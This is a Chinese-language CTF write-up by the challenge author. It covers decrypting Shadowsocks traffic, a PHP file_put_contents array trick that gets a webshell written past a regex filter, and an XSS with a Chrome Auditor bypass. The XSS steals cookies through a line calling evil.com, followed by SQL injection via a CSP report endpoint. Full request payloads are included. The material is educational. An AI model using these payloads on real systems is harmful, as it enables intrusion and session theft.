Pwnhub 第一次线下沙龙竞赛Web题解析

20787578 / 2017-08-13 14:45:00 / 浏览数 3139 安全技术 漏洞分析 顶(0) 踩(0)

Pwnhub在8月12日举办了第一次线下沙龙，我也出了两道Web相关的题目，其中涉及好几个知识点，这里说一下。

题目《国家保卫者》

国家保卫者是一道MISC题目，题干：

> Phith0n作为一个国家保卫者，最近发现国际网络中有一些奇怪的数据包，他取了一个最简单的（神秘代码 123456 ），希望能分析出有趣的东西来。
> https://pwnhub.cn/attachments/170812_okKJICF5RDsF/package.pcapng

考点一、数据包分析

其实题干很简单，就是给了个数据包，下载以后用Wireshark打开即可。因为考虑到线下沙龙时间较短，所以我只抓了一个TCP连接，避免一些干扰。

因为我没明确写这个数据包是干嘛的，有的同学做题的时候有点不知所以然。其实最简单的一个方法，打开数据包，如果Wireshark没有明确说这是什么协议的时候，就直接

8388端口，搜一下就知道默认是什么服务了。

Shadowsocks数据包解密，这个点其实我2015年已经想出了，但一直我自己没仔细研究过他的源码，对其加密的整个流程也不熟悉。后面抽空阅读了一些源码，发现其数据

所以，我之前直接把源码打包后用shadowsocks传一遍，发现抓下来的包是需要处理才能解密，不太方便，后来就干脆弄了个302跳转，然后把目标地址和源码的文件名放在

找到返回包的Data，然后右键导出：

然后下载Shadowsocks的源码，其中有一个encrypt.py，虽然整个加密和流量打包的过程比较复杂，但我们只需要调用其中解密的方法即可。

源码我就不分析了，解密代码如下（`./data.bin`是导出的密文，`123456`是题干里给出的"神秘代码"，`aes-256-cfb`是默认加密方式）：

```
if __name__ == '__main__':
with open('./data.bin', 'rb') as f:
data = f.read()
e = Encryptor('123456', 'aes-256-cfb')
print(e.decrypt(data))
```

直接把这个代码加到encrypt.py下面，然后执行即可：

当然，在实战中，进行密钥的爆破、加密方法的爆破，这个也是有可能的。为了不给题目增加难度，我就设置的比较简单。

考点二、PHP代码审计/Trick

解密出数据包后可以看到，Location的值给出了两个信息：

1. 源码包的路径
2. 目标地址

所以，下载源码进行分析。

这是一个比较简单的代码审计题目，简单流程就是，用户创建一个Ticket，然后后端会将Ticket的内容保存到以"cache/用户名/Ticket标题.php"命名的文件中。然后，用户可

这个题目的考点就在于，写入文件之前，我对用户输出的内容进行了一次正则检查：

```
<?php
function is_valid($title, $data)
{
$data = $title . $data;
return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
}

function write_cache($title, $content)
{
$dir = changedir(CACHE_DIR . get_username() . '/');
if(!is_dir($dir)) {
mkdir($dir);
}
ini_set('open_basedir', $dir);
```

```
if (!is_valid($title, $content)) {
exit("title or content error");
}

$filename = "{$dir}{$title}.php";

file_put_contents($filename, $content);
ini_set('open_basedir', __DIR__ . '/');
}
```

整个流程如下：

1. title和content拼接成字符串
2. 将1的结果进行正则检测拦截，正则比较严格，`\A[ _a-zA-Z0-9]+\z`，只允许数字、字母、下划线和空格
3. 匹配成功，使用`file_put_contents(title, content)`写入文件中

也就是说，我们的webshell，至少需要`<?`等字符，但实际上这里正则把特殊符号都拦截了。

这就考到PHP的一个小Trick了，我们看看`file_put_contents`的文档即可发现：

其第二个参数允许传入一个数组，如果是数组的话，将被连接成字符串再进行写入。

回看我的题目，在正则匹配前，`$title`和`$content`进行了字符串连接。得益于PHP的弱类型特性，数组会被强制转换成字符串，也就是`Array`，Array肯定是满足正则`\A[ _a-zA-Z0-9]+\z`的，所以不会被拦截。

所以最后，发送如下数据包即可成功getshell：

```
POST /i.php HTTP/1.1
Host: 52.80.37.67:8078
Content-Length: 49
Cache-Control: max-age=0
Origin: http://52.80.37.67:8078
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://52.80.37.67:8078/index.php
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=asdsa067hpqelof5cevlgcsip4
Connection: close

title=s&content[]=<?php&content[]=%0aphpinfo();
```

（自豪的说一下，为了防搅屎，我已经把我前段时间写的PHP沙盒加进来了，所以getshell后只能执行少量函数。最后只要执行一下`show_flag()`即可获得Flag）

`file_put_contents`这个特性还是比较有实战意义的，比如像下面这种基于文件内容的WAF，就可以绕过：

```
<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
die('error!');
}
file_put_contents('config.php', $text);
```

题目《改行做前端》

这个题目看似是一个前端安全的题目，实际上还考了另一个比较隐蔽的点。

题干：

> Phithon最近考虑改行做前端，这是他写的第一个页面： http://54.222.168.105:8065/
> （所有测试在Chrome 60 + 默认配置下进行）

考点一、XSS综合利用

这个考点是一个比较普通的点，没什么太多障碍。打开页面，发现下方有一个提交框，直接点提交，即可发现返回如下链接：`http://54.222.168.105:8065/?error=`

error这个参数被写在JavaScript的引号里，并对引号进行了转义：

```
<script>
window.onload = function () {
```

```
var error = 'aaa\'xxx';
$("#error").text(error).show();
};
</script>
```

但fuzz一下0-255的所有字符，发现其有如下特征：

1. 没有转义<、>
2. 换行被替换成

没有转义<、>，我们就可以传入error=</script><script>alert(1)</script>来进行跨站攻击。但问题是，Chrome默认有XSS过滤

这里其实就是借用了前几天 @长短短 在Twitter上发过的一个绕过Chrome Auditor的技巧：

换行被转换成
后，用上述Payload即可执行任意代码。

另外，还有个方法：《浏览器安全一 / Chrome XSS Auditor bypass》 - 输出在script内字符串位置的情况
，这里提到的这个POC也能利用：http://54.222.168.105:8065/?error=</script><svg><script>{alert(1)%2b%26apos%3B%2b%26apos%3B)
（和我博客中文章给的POC有一点不同，因为要闭合后面的}，所以前面需要加个{）

最后，构造如下Payload：

```
http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF</script><script>1<(br=1)*/%0deval(atob(location.hash.substr(1)))</sc
```

将我们需要执行的代码base64编码后放在xxxxxx的位置即可。

漏洞利用

发现了一个XSS，前台正好有一个可以提交URL的地方，所以，将构造好的Payload提交上去即可。

猜测一下后台的行为：管理员查看了用户提交的内容，如果后台本身没有XSS的情况下，管理员点击了我们提交的URL，也能成功利用。

但因为前台有一个unsafe-inline csp，不能直接加载外部的资源，所以我用链接点击的方式，将敏感信息传出：

```
a=document.createElement('a');a.href='http://evil.com/?'+encodeURI(document.referrer+';'+document.cookie);a.click();
```

另外，因为后台还有一定的过滤，所以尽量把他们用url编码一遍。

打到了后台地址和Cookie：

用该Cookie登录一下：

没有Flag.....gg，

考点二、SQL注入

这题看似仅仅是一个XSS题目，但是我们发现进入后台并没有Flag，这是怎么回事？

回去翻翻数据包，仔细看看，发现我们之前一直忽略了一个东西：

report-uri是CSP中的一个功能，当CSP规则被触发时，将会向report-uri指向的地址发送一个数据包。其设计目的是让开发者知道有哪些页面可能违反CSP，然后去改进他。

比如，我们访问如下URL：http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF</script><script>1<(br=1)*/%0deval

这个数据包如下：

```
POST /report HTTP/1.1
Host: 54.222.168.105:8065
Connection: keep-alive
Content-Length: 843
Origin: http://54.222.168.105:8065
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari
Content-Type: application/csp-report
Accept: */*
Referer: http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF</script><script>1<(br=1)*/%0deval(location.hash.substr(1))<
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=i1q84v0up0fol18vemfo7aeuk1

{"csp-report":{"document-uri":"http://54.222.168.105:8065/?error=email%E9%94%99%E8%AF%AF</script><script>1<(br=1)*/%0deval(loc
```

这个请求其实是有注入的，注入点在document-uri、blocked-uri、violated-directive这三个位置都有，随便挑一个：

普通注入，我就不多说了。

注入获得两个账号，其中caibiph的密码可以解密，直接用这个账号登录后台，即可查看到Flag：

点击收藏 | 0 关注 | 1

上一篇：C3安全峰会PPT 下一篇：HTTP Fuzzer V3.6【...

1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板